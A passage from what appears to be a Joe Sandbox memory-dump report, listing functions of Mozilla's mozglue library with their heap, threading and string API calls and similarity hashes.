memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C54BE49), ref: 6C54BF38
RtlReAllocateHeap.NTDLL ref: 6C54BF83
RtlFreeHeap.NTDLL(6C54BE49,00000000), ref: 6C54BFA6

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: b0569bf60d33f4985aa9e2a1aba3a6a31d7ffc3e782a88aa27003fe0006b1325
Instruction ID: 3e2080087e8160be79994314ac0703b26577381d03541ba269ce66b48357f25e
Opcode Fuzzy Hash: b0569bf60d33f4985aa9e2a1aba3a6a31d7ffc3e782a88aa27003fe0006b1325
Instruction Fuzzy Hash: F6518D71A006059FE710DF69CD80BAEB3B2FFC8314F298629D559A7B54D730F9068B80

Function 6C538E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?,6C55D734), ref: 6C538E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?,6C55D734), ref: 6C538EBF
free.MOZGLUE(?,?,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?), ref: 6C538F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?,6C55D734), ref: 6C538F46
free.MOZGLUE(?,?,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?), ref: 6C538F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?), ref: 6C538F8F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c524db3938e2152ce6b1e35bc80d4f85e31fe2ab96a783585c1c105df3a9f463
Instruction ID: ba771b6c81591816e86201ed1b3fe1770ec40618041e6ff6c287654013ef6229
Opcode Fuzzy Hash: c524db3938e2152ce6b1e35bc80d4f85e31fe2ab96a783585c1c105df3a9f463
Instruction Fuzzy Hash: 4B5170B5A012268FEB19CF68DC8066E73B2AF45318F15056AD91AEB740F731F905CB92

Function 6C5327E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C53284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C53289A
free.MOZGLUE(?,?,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C5328F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C532910
free.MOZGLUE(00000001,?,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C53293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C53294E

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0740bf3d83a1b639f7383e07abed8e1cb95b2c4ef573459f26dd222d290afd2b
Instruction ID: 3dc96490e9063cf1e5abad85bd543aee4a98a2d69eaa86862ef7d2fda0dadc01
Opcode Fuzzy Hash: 0740bf3d83a1b639f7383e07abed8e1cb95b2c4ef573459f26dd222d290afd2b
Instruction Fuzzy Hash: 8341E1B2A007268FEB10CF68DC8836A73F6AB45318F154939D95AEB741F731E944CB91

Function 6C4ECFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4ECFF6
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4ED026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4ED06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4ED139

Strings

MOZ_CRASH(), xrefs: 6C4ED187

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 3ec622e9b2e51e259e02648e7ba353d205c9fcad991f8d0c699b630140eadded
Instruction ID: b6e18cda871439dcb6d288ef76839cdf72c3783fb38b8da4783084d6a386ad69
Opcode Fuzzy Hash: 3ec622e9b2e51e259e02648e7ba353d205c9fcad991f8d0c699b630140eadded
Instruction Fuzzy Hash: E041C331B022164FDB04CE6E8D91B7AB6B0EB89715F160139E918E7794DBB19C018BC8

Function 6C4E4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4E4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4E4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4E4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4E4F1E

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 8b41008ce0508ae769871db261a88bddf759aa64fd7e7ad16789edf78b279321
Instruction ID: e2f93239b6b1dac34e11b0f7647a1b05927d133bd105f172fccc23bbbb9d15e6
Opcode Fuzzy Hash: 8b41008ce0508ae769871db261a88bddf759aa64fd7e7ad16789edf78b279321
Instruction Fuzzy Hash: 0D41CB716087059FC701CFA9C880E5BBBE4BF89395F129A2DF56587B41DB30E918CB91

Function 6C4F1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4F152B,?,?,?,?,6C4F1248,?), ref: 6C4F159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4F152B,?,?,?,?,6C4F1248,?), ref: 6C4F15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4F152B,?,?,?,?,6C4F1248,?), ref: 6C4F15E7
free.MOZGLUE(?,?,?,?,?,?,6C4F152B,?,?,?,?,6C4F1248,?), ref: 6C4F1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4F152B,?,?,?,?,6C4F1248,?), ref: 6C4F1637

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ee00c425fd5cb47e8bbfe0b2c2bdefe762650be084b32303a32f5bee7d25ee70
Instruction ID: 12b55226bcc150f98c770cd8b37430f92575b01680ed4c702f9db6ac1776de3c
Opcode Fuzzy Hash: ee00c425fd5cb47e8bbfe0b2c2bdefe762650be084b32303a32f5bee7d25ee70
Instruction Fuzzy Hash: CF31D6B2A001148BDB19CE78D850C6E77A9EBC53747250B6DE833DBBD4EB30D9168791

Function 6C54AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C55E330,?,6C50C059), ref: 6C54AD9D

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C55E330,?,6C50C059), ref: 6C54ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C55E330,?,6C50C059), ref: 6C54AE01
GetLastError.KERNEL32(?,00000000,?,?,6C55E330,?,6C50C059), ref: 6C54AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C55E330,?,6C50C059), ref: 6C54AE3D

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 2782e00344e9c453b04c78e41db4f18b853261fd0cb9c292602f2a8f964fa6e1
Instruction ID: e81e53dae5ce787b6b810fa7b79ecc15214d5f05a7326cd6ee40e07a95599a39
Opcode Fuzzy Hash: 2782e00344e9c453b04c78e41db4f18b853261fd0cb9c292602f2a8f964fa6e1
Instruction Fuzzy Hash: 4A314FB1A002159FDB50DF7A8C44AABB7F8EF88714F558829E85AD7700E734E814CBA0

Function 6C545EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C55DCA0,?,?,?,6C51E8B5,00000000), ref: 6C545F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C51E8B5,00000000), ref: 6C545F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C51E8B5,00000000), ref: 6C545F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C51E8B5,00000000), ref: 6C545F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C51E8B5,00000000), ref: 6C545FD6

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 67ed6a6a4a9477f7bbdb43feb81f0b30ec86f027593a880e27ee5d7db1f500cd
Instruction ID: 0bf109bd0f04701f10296ea655d9207c35c1daf26f768604d7bf31cec69c1733
Opcode Fuzzy Hash: 67ed6a6a4a9477f7bbdb43feb81f0b30ec86f027593a880e27ee5d7db1f500cd
Instruction Fuzzy Hash: 44314C743006009FD710CF29C898E2AB7F9FF89318BA58568F9568BBA5C731EC41CB81

Function 6C4EB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4EB532
moz_xmalloc.MOZGLUE(?), ref: 6C4EB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4EB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4EB57E
free.MOZGLUE(00000000), ref: 6C4EB58F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 32d9fc92545b0cd6711fdbac020cbc3ab55de1be1b35db00948adebbaf011f14
Instruction ID: 254a67237494caab309df6fd18d1a2ee032a3e70a4f99fd0848968752b36bb77
Opcode Fuzzy Hash: 32d9fc92545b0cd6711fdbac020cbc3ab55de1be1b35db00948adebbaf011f14
Instruction Fuzzy Hash: 8321F871A002059BDB00CF69CC40F7ABBB9FF86319F254129E815DB351E735D951C7A4

Function 6C4EB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4EB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4EB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4EB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4EB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4EB849

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: a585529cc1a5bf8de3f8845b9aa14a60d4d01420c5deb2b1c99f93c04deb7c97
Instruction ID: e3166a2f54509dc78b5704b20c888329f59ecc17654b095ef4d950e122de2b64
Opcode Fuzzy Hash: a585529cc1a5bf8de3f8845b9aa14a60d4d01420c5deb2b1c99f93c04deb7c97
Instruction Fuzzy Hash: 8C215AB0E003099FDF04DFA9C8859BEBBB4EF49314F15852AEC45A7301E731A944CBA5

Function 6C546E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C546E78

Part of subcall function 6C546A10: InitializeCriticalSection.KERNEL32(6C56F618), ref: 6C546A68
Part of subcall function 6C546A10: GetCurrentProcess.KERNEL32 ref: 6C546A7D
Part of subcall function 6C546A10: GetCurrentProcess.KERNEL32 ref: 6C546AA1
Part of subcall function 6C546A10: EnterCriticalSection.KERNEL32(6C56F618), ref: 6C546AAE
Part of subcall function 6C546A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C546AE1
Part of subcall function 6C546A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C546B15
Part of subcall function 6C546A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C546B65
Part of subcall function 6C546A10: LeaveCriticalSection.KERNEL32(6C56F618,?,?), ref: 6C546B83

MozFormatCodeAddress.MOZGLUE ref: 6C546EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C546EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C546EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C546EFF

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 90ca20dd5aad4ed49170a613ff629c904f322a4174819f1e332f5a7dd2c35f65
Instruction ID: 3ded6835bef1fb69f69277e0abf76a931f78a6dcd060f9eb810e6f4beec5a9b8
Opcode Fuzzy Hash: 90ca20dd5aad4ed49170a613ff629c904f322a4174819f1e332f5a7dd2c35f65
Instruction Fuzzy Hash: CA21B271A0431A9FDB00DF29DC846EAB7F5EF84308F048039E84997350EB709A59CF92

Function 6C520D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4E3DEF), ref: 6C520D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4E3DEF), ref: 6C520D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4E3DEF), ref: 6C520DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C520D97, 6C520DBE
<jemalloc>, xrefs: 6C520D92, 6C520DB9

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 1d3558b0372ef86ce6229da972074ce9074b26d5a4988a6d70c254d2471f08db
Instruction ID: 390873734b598e9dc9eaf735107cb75a232a20ca0ba9ae5b47d6095c332d97b9
Opcode Fuzzy Hash: 1d3558b0372ef86ce6229da972074ce9074b26d5a4988a6d70c254d2471f08db
Instruction Fuzzy Hash: 38F0E0313D329423D724617B4C29B7726DD67C2B14F344037F205DADD0DB68E4018698

Function 6C545850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C54586C
CloseHandle.KERNEL32 ref: 6C545878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C545898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5458C9
free.MOZGLUE(00000000), ref: 6C5458D3

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 17d474605908fb9af00e3bba4a4b6e1c502909d354479fca113d38126851cddc
Instruction ID: d7af32befe11c1a173c8c3a9d991b898dd80ec53a99616e6928cfd0cd932bddb
Opcode Fuzzy Hash: 17d474605908fb9af00e3bba4a4b6e1c502909d354479fca113d38126851cddc
Instruction Fuzzy Hash: 64012C71B05101ABDF00DF1F9C087267BB8EBA33297664276E519D2232DB319C148F89

Function 6C537620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5375C4,?), ref: 6C53762B

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5374D7,6C5415FC,?,?,?), ref: 6C537644
GetCurrentThreadId.KERNEL32 ref: 6C53765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5374D7,6C5415FC,?,?,?), ref: 6C537663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5374D7,6C5415FC,?,?,?), ref: 6C537677

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 9a663c66834c4f3cfeded3d9b3cacd685afcbbe504b02aa6e15d62d35b5b480b
Instruction ID: 33f03d41b765ff5bdf0872ddc942b6ad81a5d447b0e51774b055dbf015501722
Opcode Fuzzy Hash: 9a663c66834c4f3cfeded3d9b3cacd685afcbbe504b02aa6e15d62d35b5b480b
Instruction Fuzzy Hash: D0F0FF71E10345ABD3009F22CC88A76B778FFEA258F12431AF90442611EBB0A9D08BD0

Function 6C541700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C541800

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

Part of subcall function 6C4E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C523EBD,6C523EBD,00000000), ref: 6C4E42A9

Strings

Details, xrefs: 6C541925
name, xrefs: 6C541939
{marker.name} - {marker.data.name}, xrefs: 6C5418C7

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: dca9456db56900debfaafa210ed6c19dd6f370df0c739960b79a08dbf9f1d113
Instruction ID: 34e20e5e0853cf6226aa7e7b9c8e46077299a4ff8513987d62105c9125559bed
Opcode Fuzzy Hash: dca9456db56900debfaafa210ed6c19dd6f370df0c739960b79a08dbf9f1d113
Instruction Fuzzy Hash: 057103B1A00346DFD704DF29D854BAABBB1FF85344F40466DD8154BB41DB70AAA8CBE1

Function 6C50D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

EnterCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C51D1C5), ref: 6C50D4F2
LeaveCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C51D1C5), ref: 6C50D50B

Part of subcall function 6C4ECFE0: EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4ECFF6
